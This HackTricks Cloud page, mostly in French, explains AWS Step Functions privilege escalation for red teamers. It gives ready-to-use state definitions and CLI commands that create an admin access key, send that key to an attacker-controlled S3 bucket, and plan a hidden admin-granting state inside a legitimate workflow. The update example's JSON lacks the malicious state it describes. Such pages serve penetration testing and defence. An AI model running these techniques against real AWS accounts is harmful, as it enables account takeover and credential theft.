AWS - Step Functions Privesc
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Step Functions
For more information about this AWS service, check:
Ressources de tâches
Ces techniques d'escalade de privilèges vont nécessiter l'utilisation de certaines ressources Step Functions d'AWS afin d'exécuter les actions d'escalade de privilèges souhaitées.
Pour vérifier toutes les actions possibles, vous pouvez vous rendre dans votre compte AWS, sélectionner l'action que vous souhaitez utiliser et voir les paramètres qu'elle utilise, comme dans :

Vous pouvez également consulter la documentation API d'AWS et vérifier la documentation de chaque action :
states:TestState & iam:PassRole
An attacker with the states:TestState & iam:PassRole permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, potentially enabling unauthorized access to other AWS services with the roles' permissions. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
Les exemples suivants montrent comment tester un state qui crée une clé d'accès pour l'utilisateur admin en tirant parti de ces permissions et d'un rôle permissif de l'environnement AWS. Ce rôle permissif doit avoir une politique fortement privilégiée associée (par exemple arn:aws:iam::aws:policy/AdministratorAccess) qui permet au state d'effectuer l'action iam:CreateAccessKey :
- stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
- Commande exécutée pour effectuer le privesc:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
Potential Impact : Exécution et manipulation non autorisées des workflows et accès à des ressources sensibles, pouvant entraîner des violations de sécurité importantes.
states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)
Un attaquant disposant des permissions states:CreateStateMachine& iam:PassRole pourrait créer une state machine et lui fournir n'importe quel rôle IAM, permettant ainsi un accès non autorisé à d'autres services AWS avec les permissions du rôle. Contrairement à la précédente technique de privesc (states:TestState & iam:PassRole), celle-ci ne s'exécute pas d'elle‑même : vous devrez également disposer des permissions states:StartExecution ou states:StartSyncExecution (states:StartSyncExecution n'est pas disponible pour les workflows standard, seulement pour les state machines de type Express) afin de démarrer une exécution de la state machine.
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
Les exemples suivants montrent comment créer une state machine qui crée une access key pour l'utilisateur admin et exfiltre cette access key vers un S3 bucket contrôlé par un attaquant, en tirant parti de ces permissions et d'un rôle permissif de l'environnement AWS. Ce rôle permissif doit avoir une policy hautement privilégiée associée (par exemple arn:aws:iam::aws:policy/AdministratorAccess) qui permet à la state machine d'effectuer les actions iam:CreateAccessKey & s3:putObject.
- stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
- Commande exécutée pour créer la machine d'état:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
- Commande exécutée pour démarrer une exécution de la machine d'état précédemment créée:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
warning
Le bucket S3 contrôlé par l'attaquant doit avoir les permissions pour accepter une action s3:PutObject provenant du compte victime.
Impact potentiel: Exécution et manipulation non autorisées des workflows et accès à des ressources sensibles, pouvant conduire à des violations de sécurité importantes.
states:UpdateStateMachine & (not always required) iam:PassRole
Un attaquant disposant de la permission states:UpdateStateMachine pourrait modifier la définition d'une state machine, en ajoutant des états furtifs supplémentaires pouvant aboutir à une escalade de privilèges. Ainsi, lorsqu'un utilisateur légitime démarre une exécution de la state machine, ce nouvel état malveillant furtif sera exécuté et l'escalade de privilèges réussira.
Selon le degré de permissivité du IAM Role associé à la state machine, un attaquant se trouverait face à 2 situations :
- Permissive IAM Role: Si le IAM Role associé à la state machine est déjà permissif (il possède par exemple la politique
arn:aws:iam::aws:policy/AdministratorAccessattachée), alors la permissioniam:PassRolene serait pas nécessaire pour escalader les privilèges puisqu'il ne serait pas nécessaire de mettre à jour aussi le IAM Role ; la modification de la définition de la state machine suffit. - Not permissive IAM Role: Contrairement au cas précédent, ici un attaquant aurait également besoin de la permission
iam:PassRolecar il serait nécessaire d'associer un IAM Role permissif à la state machine en plus de modifier la définition de la state machine.
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
Les exemples suivants montrent comment mettre à jour une state machine légitime qui invoque simplement une fonction Lambda HelloWorld, afin d'ajouter un état supplémentaire qui ajoute l'utilisateur unprivilegedUser au groupe IAM administrator. Ainsi, lorsqu'un utilisateur légitime lance une exécution de la state machine mise à jour, ce nouvel état malveillant et furtif sera exécuté et l'escalade de privilèges réussira.
warning
Si la state machine n'a pas de rôle IAM permissif associé, la permission iam:PassRole serait également requise pour mettre à jour le rôle IAM afin d'associer un rôle IAM permissif (par exemple un rôle avec la arn:aws:iam::aws:policy/AdministratorAccess policy attachée).
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
- Commande exécutée pour mettre à jour la machine d'état légitime:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
Impact potentiel: Exécution et manipulation non autorisées des workflows et accès aux ressources sensibles, pouvant entraîner d'importantes violations de sécurité.
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud